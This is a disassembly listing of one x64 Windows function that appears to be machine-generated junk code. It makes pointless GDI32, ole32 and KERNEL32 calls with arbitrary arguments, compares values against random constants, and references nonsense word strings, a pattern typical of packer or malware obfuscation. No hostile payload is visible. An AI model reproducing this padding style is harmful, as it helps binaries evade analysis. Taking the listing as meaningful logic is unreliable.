movzx eax, word [rsp + 0xf80]
mov dword [rsp + 0x5e6c], eax
cmp dword [rsp + 0x5e6c], 0x4cf
je 0x1401fd269
cmp dword [rsp + 0x5e6c], 0x8ae
je 0x1401fd37d
jmp 0x1401fd3a1
movsx eax, word [rsp + 0xf78]
movsx ecx, word [rsp + 0xf7c]
sar eax, cl
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
mov dword [rsp + 0x58], 4
mov dword [rsp + 0x50], 0x41
mov dword [rsp + 0x48], 0xbf
mov rax, qword [rsp + 0x6b00]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 0x6f
mov rax, qword [rsp + 0x6a50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xb6
mov r9d, 0xbf
mov r8d, 0x6f
mov edx, 0x37
mov rcx, qword [rsp + 0x69d0]
call qword [sym.imp.GDI32.dll_MaskBlt]
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x6840]
mov qword [rsp + 0x28d10], rax
movabs rax, 0x1f75d9a6d72aa272
cmp qword [rsp + 0x28d10], rax
je 0x1401fd35a
movabs rax, 0x446aa1aea10e2ef7
cmp qword [rsp + 0x28d10], rax
je 0x1401fd330
jmp 0x1401fd37b
mov rax, qword [rsp + 0x6798]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
call fcn.1401fe730
nop
jmp 0x1401fd37b
mov rax, qword [rsp + 0x68e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6918]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
jmp 0x1401fd3a1
mov rax, qword [rsp + 0x69f0]
mov rcx, qword [rsp + 0x6888]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6988]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6928]
movzx eax, word [rax]
mov dword [rsp + 0x5e70], eax
cmp dword [rsp + 0x5e70], 0x665
je 0x1401fd4cb
cmp dword [rsp + 0x5e70], 0xad0
je 0x1401fd3d6
jmp 0x1401fd4e4
mov rax, qword [rsp + 0x68e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6778]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov r8d, 0x56
mov edx, 0xa7
mov rcx, qword [rsp + 0x68e0]
call qword [sym.imp.GDI32.dll_OffsetClipRgn]
mov dword [rsp + 0x37c4], eax
mov rax, qword [rsp + 0x6940]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3790], eax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69c8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
mov dword [rsp + 0x58], 0xb5
lea rax, [rsp + 0x6800]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x6710]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0xd8
mov dword [rsp + 0x38], 0xc1
mov dword [rsp + 0x30], 0x24
mov dword [rsp + 0x28], 0x5f
mov dword [rsp + 0x20], 0x18
mov r9d, 0xf0
mov r8d, 0xba
mov edx, 0xfa
mov rcx, qword [rsp + 0x6a58]
call qword [sym.imp.GDI32.dll_SetDIBitsToDevice]
mov dword [rsp + 0x3790], eax
jmp 0x1401fd4e4
movzx eax, byte [rsp + 0x105]
movzx ecx, byte [rsp + 0x170]
sar eax, cl
mov byte [rsp + 0x173], al
mov eax, dword [rsp + 0x38a0]
mov ecx, dword [rsp + 0x3828]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov qword [rsp + 0x28d18], rax
movabs rax, 0x8ea121add2d0615b
cmp qword [rsp + 0x28d18], rax
je 0x1401fd529
jmp 0x1401fd5a8
mov rax, qword [rsp + 0x6888]
mov rcx, qword [rsp + 0x67d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6140], rax
lea r9, [rsp + 0x28e40]
mov r8d, 0xcf
mov edx, 0xd1
mov rcx, qword [rsp + 0x28d20]
call qword [sym.imp.GDI32.dll_AnimatePalette]
mov dword [rsp + 0x37f8], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68e8]
mov qword [rsp + 0x28d28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x28d28]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
jmp 0x1401fd5c4
mov rax, qword [rsp + 0x67c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x174]
xor eax, ecx
mov byte [rsp + 0x16f], al
jmp 0x1401fd659
movzx eax, byte [rsp + 0x173]
mov byte [rsp + 0x5e74], al
cmp byte [rsp + 0x5e74], 8
je 0x1401fd5e6
jmp 0x1401fd63a
movsx eax, byte [rsp + 0x175]
mov rcx, qword [rsp + 0x68f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6948]
mov word [rcx], ax
mov rcx, qword [rsp + 0x69d8]
call qword [sym.imp.GDI32.dll_GetSystemPaletteUse]
mov dword [rsp + 0x373c], eax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x68d8]
call qword [sym.imp.GDI32.dll_StrokeAndFillPath]
mov dword [rsp + 0x386c], eax
mov rax, qword [rsp + 0x6920]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3828]
or ecx, eax
mov eax, ecx
mov dword [0x14024b350], eax
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6798]
movzx eax, byte [rax]
mov byte [rsp + 0x5e78], al
cmp byte [rsp + 0x5e78], 0xbd
je 0x1401fd6c7
jmp 0x1401fd71e
mov edx, 0x4d
mov rcx, qword [rsp + 0x69d0]
call qword [sym.imp.GDI32.dll_SetDCPenColor]
mov dword [rsp + 0x3764], eax
mov rax, qword [rsp + 0x67d8]
mov rcx, qword [rsp + 0x6140]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6990], rax
movzx eax, word [rsp + 0xf74]
movzx ecx, word [rsp + 0xf60]
add eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
jmp 0x1401fd73e
mov r8d, 0x5d
mov edx, 0x8b
mov rcx, qword [rsp + 0x6b98]
call qword [sym.imp.GDI32.dll_PtInRegion]
mov dword [rsp + 0x3850], eax
lea r9, [rsp + 0x6840]
mov r8d, 0x83
mov edx, 0x6b
mov rcx, qword [rsp + 0x69d8]
call qword [sym.imp.GDI32.dll_GetCharWidth32W]
mov dword [rsp + 0x3760], eax
mov eax, dword [rsp + 0x3764]
mov dword [rsp + 0x5e7c], eax
cmp dword [rsp + 0x5e7c], 0x51475ba8
je 0x1401fd783
jmp 0x1401fd7cf
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xf78]
or eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rax]
call fcn.1401fe800
nop
jmp 0x1401fd7ef
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
xor eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov dword [rsp + 0x5e80], eax
cmp dword [rsp + 0x5e80], 0x6f8
je 0x1401fd810
jmp 0x1401fd830
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf70], ax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
sar eax, cl
movsx ecx, byte [rsp + 0x171]
mov dword [rsp + 0x5e84], ecx
mov rdx, qword [rsp + 0x67c0]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x5e84]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x1401fd917
mov eax, dword [rsp + 0x3828]
mov ecx, dword [rsp + 0x3840]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
lea r9, [rsp + 0x6928]
mov r8d, 0x48
mov edx, 0x49
mov rcx, qword [rsp + 0x68d8]
call qword [sym.imp.GDI32.dll_SetBrushOrgEx]
mov dword [rsp + 0x3748], eax
mov eax, dword [rsp + 0x37a0]
mov ecx, dword [rsp + 0x3790]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x37c4], eax
mov rax, qword [rsp + 0x68e8]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x66e8]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x6798]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x67a8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6868]
movzx ecx, word [rax]
call fcn.1401fe2d0
nop
jmp 0x1401fd963
mov rax, qword [rsp + 0x67b0]
mov ecx, dword [rsp + 0x3790]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x67e0]
mov rdx, qword [rsp + 0x66e8]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jge 0x1401fd963
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
sub eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
lea rdx, [rsp + 0x67e0]
lea rcx, [rsp + 0x28d70]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x3838], eax
jmp 0x1401fda3b
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
lea rdx, [rsp + 0x28d40]
lea rcx, str.Lionesses_rustle_Embryonal_trodden
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rsp + 0x3834], eax
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x67d8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x66e8]
mov rcx, qword [rsp + 0x67e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
lea rdx, [rsp + 0x3764]
lea rcx, [rsp + 0x379c]
call qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
mov dword [rsp + 0x37d4], eax
call fcn.1401fe730
nop
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
and eax, ecx
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x6760]
movsx edx, byte [rdx]
imul ecx, edx
cmp eax, ecx
jne 0x1401fdaae
jmp 0x1401fdb1b
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x5e88], al
cmp byte [rsp + 0x5e88], 0x4e
je 0x1401fdac9
jmp 0x1401fdacb
jmp 0x1401fdafc
movzx eax, byte [rsp + 0x170]
sub eax, 0xdb
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6738]
mov ecx, dword [rsp + 0x3790]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov eax, dword [rsp + 0x3738]
mov ecx, dword [rsp + 0x3764]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x373c], eax
mov dword [rsp + 0x28], 0x5d
lea rax, [rsp + 0x6140]
mov qword [rsp + 0x20], rax
mov r9d, 0xd8
lea r8, [rsp + 0x378c]
lea rdx, [rsp + 0x28d80]
lea rcx, [rsp + 0x3738]
call qword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [rsp + 0x379c], eax
movsx eax, byte [rsp + 0x16f]
add eax, 0x7b
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
cmp eax, ecx
jl 0x1401fdbad
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
and eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6740]
movzx eax, byte [rax]
mov byte [rsp + 0x5e8c], al
cmp byte [rsp + 0x5e8c], 0x1c
je 0x1401fdbea
jmp 0x1401fdc08
movabs rax, 0xca956cb06a708730
mov rcx, qword [0x14024a008]
sub rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
movzx eax, word [rsp + 0xf60]
sub eax, 0x402
mov word [rsp + 0xf60], ax
lea rcx, [rsp + 0x29f60]
call qword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [rsp + 0x379c], eax
mov rax, qword [rsp + 0x6738]
mov ecx, dword [rsp + 0x3790]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
jmp 0x1401fdc73
movzx eax, word [rsp + 0xf60]
add eax, 0x814
mov word [rsp + 0xf60], ax
mov rcx, qword [0x14024a008]
call fcn.1401fe800
nop
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x5e90], al
cmp byte [rsp + 0x5e90], 0x22
je 0x1401fdc8e
jmp 0x1401fdcdb
lea rax, [rsp + 0x6140]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x90
lea rax, [rsp + 0x3760]
mov qword [rsp + 0x20], rax
mov r9d, 0xb2
lea r8, [rsp + 0x378c]
lea rdx, [rsp + 0x3790]
lea rcx, [rsp + 0x29830]
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [rsp + 0x3798], eax
mov eax, dword [rsp + 0x3738]
mov ecx, dword [rsp + 0x373c]
or ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x3764]
jbe 0x1401fdd09
movzx eax, word [rsp + 0xf60]
shl eax, 7
mov word [rsp + 0xf60], ax
movzx eax, word [rsp + 0xf60]
mov dword [rsp + 0x5e94], eax
cmp dword [rsp + 0x5e94], 0xb3c
je 0x1401fdd27
jmp 0x1401fdd46
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
xor eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sar eax, cl
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
lea rdx, [rsp + 0x28d50]
lea rcx, str.cable
call qword [sym.imp.ole32.dll_IIDFromString]
mov dword [rsp + 0x379c], eax
mov r8d, dword [rsp + 0x3764]
mov dl, 0x3c
mov ecx, dword [rsp + 0x3758]
call fcn.1401fdff0
nop
mov eax, dword [rsp + 0x3758]
mov dword [rsp + 0x5e98], eax
cmp dword [rsp + 0x5e98], 0x1fdaa881
je 0x1401fddb8
jmp 0x1401fde45
lea rdx, str.Tears_Unworried
lea rcx, [rsp + 0x29830]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
mov dword [rsp + 0x3790], eax
movabs rax, 0x172a1f5a4a32de26
mov rcx, qword [0x14024a008]
and rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
movsx eax, byte [rsp + 0x16f]
add eax, 0xe
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
lea r8, [rsp + 0x29f60]
mov edx, 0x57
mov ecx, 0x55
call qword [sym.imp.KERNEL32.dll_GetCPInfoExW]
mov dword [rsp + 0x3850], eax
mov rax, qword [rsp + 0x66e8]
mov rcx, qword [rsp + 0x6738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3758], eax
jmp 0x1401fde5a
movsx eax, byte [rsp + 0x16f]
add eax, 0x7a
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
movabs rax, 0x2a4eff1342cf40ef
mov rcx, qword [rsp + 0x6140]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov eax, dword [rsp + 0x3758]
sub eax, 0x44f4caff
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rdx, qword [rsp + 0x6ab8]
mov rcx, qword [rsp + 0x6ab8]
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x3740], eax
mov edx, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x3738]
call fcn.1401fe5a0
nop
jmp 0x1401fdef7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x6a98], rax
movzx eax, word [rsp + 0xf60]
sar eax, 0xa
mov word [rsp + 0xf60], ax
mov ecx, 0x8e
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x6710], rax
mov eax, dword [rsp + 0x373c]
mov dword [rsp + 0x5e9c], eax
cmp dword [rsp + 0x5e9c], 0xf4bdee88
je 0x1401fdf14
jmp 0x1401fdf2f
call qword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
movzx eax, word [rsp + 0xf60]
xor eax, 0x197
mov word [rsp + 0xf60], ax
movzx eax, word [rsp + 0xf60]
and eax, 0xebf
mov word [rsp + 0xf60], ax
mov ecx, 0xef
call fcn.1401fe800
nop
jmp 0x1401fdfcf
lea rdx, str.Castrated_Adamantly
lea rcx, [rsp + 0x29bc0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov qword [rsp + 0x6768], rax
movzx eax, word [rsp + 0xf60]
mov dword [rsp + 0x5ea0], eax
cmp dword [rsp + 0x5ea0], 0x7ef
je 0x1401fdf99
cmp dword [rsp + 0x5ea0], 0xd22
je 0x1401fdfbc
jmp 0x1401fdfcf
mov qword [rsp + 0x20], 0xad
mov r9d, 0x41
mov r8b, 0xf5
mov edx, 0xa6
mov cx, 0x1c
call fcn.1401fe2d0
nop
jmp 0x1401fdfcf
movzx eax, word [rsp + 0xf60]
add eax, 0x75
mov word [rsp + 0xf60], ax
call fcn.1401fe730
mov eax, dword [rsp + 0x4d8c]
add rsp, 0x2a188
pop rdi
pop rsi
ret